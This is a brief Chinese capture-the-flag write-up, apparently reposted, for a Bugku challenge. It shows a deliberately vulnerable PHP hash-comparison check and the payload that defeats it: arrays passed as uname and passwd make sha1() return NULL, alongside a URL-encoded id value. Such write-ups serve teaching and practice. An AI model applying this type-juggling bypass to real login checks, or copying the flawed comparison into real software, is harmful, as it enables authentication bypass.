bugku | 各种绕过
Posted chrysanthemum
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bugku | 各种绕过相关的知识,希望对你有一定的参考价值。
<?php highlight_file(‘flag.php‘); $_GET[‘id‘] = urldecode($_GET[‘id‘]); $flag = ‘flagxxxxxxxxxxxxxxxxxx‘; if (isset($_GET[‘uname‘]) and isset($_POST[‘passwd‘])) if ($_GET[‘uname‘] == $_POST[‘passwd‘]) print ‘passwd can not be uname.‘; else if (sha1($_GET[‘uname‘]) === sha1($_POST[‘passwd‘])&($_GET[‘id‘]==‘margin‘)) die(‘Flag: ‘.$flag); else print ‘sorry!‘; ?>
一个走心的payload:
GET: id=%6d%61%72%67%69%6e&uname[]=1
POST: passwd[]=2
一个草率的解析:
- 一开始是想到:sha1()之后的值,是‘0e’开头的会变成科学记数法,然后结果都是为0,但是没想到后面还有一个‘&’
- 利用数组的话,会报 “ Warning: sha1() expects parameter 1 to be string, array given in /usercode/file.php on line 6 ", 然后得到 ” sha1(数组)=NULL “,然后 “true&字符串=1”就成功绕过if判断了
以上是关于bugku | 各种绕过的主要内容,如果未能解决你的问题,请参考以下文章